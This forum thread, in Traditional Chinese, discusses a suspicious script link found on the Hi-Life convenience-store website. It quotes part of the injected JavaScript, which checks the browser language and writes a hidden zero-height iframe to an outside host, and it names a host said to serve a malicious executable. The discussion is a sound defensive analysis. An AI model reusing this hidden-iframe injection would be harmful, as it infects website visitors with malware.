最近在找東西，連到「萊爾富」網站，發現奇怪的超連結...

複製程式
其中，h t t p://w w w.dota11.cn/m.js ，這個連結，一直覺得怪怪的，但是上Google搜尋，又沒找到啥～所以來這問問，這到底是做啥的？

如果真是惡意程式的話，那一堆網站都有捏～.....

剛剛點～沒跑出東西，說404錯誤，防毒程式也沒有偵測到～

抓下來分析就知道啦，八成是 HTML - Exploit
應該不需要貼內容出來吧 ...？只貼重點

js 的開頭
if (navigator.systemLanguage=='zh-cn')
{
document.writeln("<iframe src=http:\/\/gm.culhs.com\/***\/am6.htm width=100 height=0><\/iframe>");
}

確認電腦的語言，中文語系就用某個0高的內置框架，連到某個網址（其他語言就不解了）
http://gm.cu...com/***/am6.htm

其他後面的等我確認完再說，另外請你確認一下你電腦的時間有沒有被改變

另外若讀取網站，他會下載一個執行檔
hxxp://www.woai117.cn/bak.exe

這才是有問題的檔案。

時間 ...沒有改變阿^^...

剛剛搜尋一下電腦，沒有看到那個執行檔～剛用掃毒掃過～也正常....

沒有那就好了，那裏面的內容很雜，跟我之前看過的都類似，不太想整理了

只是你是於萊爾富的哪個連結看到的？

看來他門已經發現而且拿掉嚕~~再過去已經沒嚕~~

大家請看 http://bbs.mychat.to/read.php?tid=710616